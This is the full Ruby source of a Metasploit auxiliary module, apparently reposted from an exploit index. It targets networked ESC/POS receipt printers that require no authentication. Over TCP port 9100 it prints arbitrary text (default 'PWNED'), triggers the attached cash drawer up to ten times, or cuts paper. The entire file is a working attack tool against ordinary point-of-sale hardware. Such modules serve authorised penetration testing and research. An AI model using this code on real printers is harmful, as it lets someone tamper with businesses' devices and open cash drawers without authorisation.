Share
## https://sploitus.com/exploit?id=MSF:AUXILIARY-ADMIN-PRINTER-ESCPOS_TCP_COMMAND_INJECTOR-
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'ESC/POS Printer Command Injector',
        'Description' => %q{
          This module exploits an unauthenticated ESC/POS command vulnerability in networked Epson-compatible printers.
          You can print a custom message, trigger the attached cash drawer, or cut the paper.
        },
        'Author' => ['FutileSkills'],
        'License' => MSF_LICENSE,
        'Actions' => [
          ['PRINT', { 'Description' => 'Print a Message' }],
          ['DRAWER', { 'Description' => 'Trigger the Drawer' }],
          ['CUT', { 'Description' => 'Cut paper (if applicable)' }]
        ],
        'DefaultAction' => 'PRINT',
        'References' => [
          ['URL', 'https://github.com/futileskills/Security-Advisory']
        ],
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, PHYSICAL_EFFECTS]
        }
      )
    )

    register_options(
      [
        Opt::RPORT(9100),
        OptString.new('MESSAGE', [false, 'Message to print', 'PWNED'], conditions: %w[ACTION == PRINT]),
        OptInt.new('DRAWER_COUNT', [false, 'Number of times to trigger the drawer', 1], conditions: %w[ACTION == DRAWER]),
        OptInt.new('FEED_LINES', [false, 'Number of lines to feed before cutting (for the CUT action)', 5], conditions: %w[ACTION == CUT])
      ]
    )
  end

  # ESC/POS command to trigger the cash drawer
  DRAWER_COMMAND = "\x1b\x70\x00\x19\x32".freeze
  # ESC/POS command to feed lines
  FEED_COMMAND = "\x1b\x64".freeze
  # ESC/POS command to cut paper (full cut)
  CUT_COMMAND = "\x1d\x56\x42\x00".freeze

  def run
    connect
    print_status("Connected to printer at #{rhost}")

    case action.name.upcase
    when 'PRINT'
      handle_print
    when 'DRAWER'
      handle_drawer
    when 'CUT'
      handle_cut
    end
  rescue ::Rex::ConnectionError
    print_error("Failed to connect to #{rhost}")
  ensure
    disconnect
  end

  private

  def handle_print
    message = datastore['MESSAGE']
    if message.to_s.empty?
      print_error("No message specified for the 'PRINT' action.")
      return
    end

    # Break down ESC/POS commands for readability
    initialize_printer = "\x1b\x40"
    center_align = "\x1b\x61\x01"
    double_size_text = "\x1d\x21\x11"
    normal_size_text = "\x1d\x21\x00"
    left_align = "\x1b\x61\x00"

    print_commands = initialize_printer +
                     center_align +
                     double_size_text +
                     message +
                     normal_size_text + "\n" +
                     left_align + "\n\n"

    sock.put(print_commands)
    print_good("Printed message: '#{message}'")
  end

  def handle_drawer
    drawer_count = datastore['DRAWER_COUNT'].to_i.clamp(1, 10)
    print_status("Triggering cash drawer #{drawer_count} times...")
    drawer_count.times do
      sock.put(DRAWER_COMMAND)
      sleep(0.5)
    end
    print_good('Triggered cash drawer.')
  end

  def handle_cut
    feed_lines = datastore['FEED_LINES'].to_i.clamp(1, 100)
    print_status("Feeding #{feed_lines} lines and cutting paper...")
    sock.put(FEED_COMMAND + [feed_lines].pack('C'))
    sock.put(CUT_COMMAND)
    print_good('Paper fed and cut.')
  end
end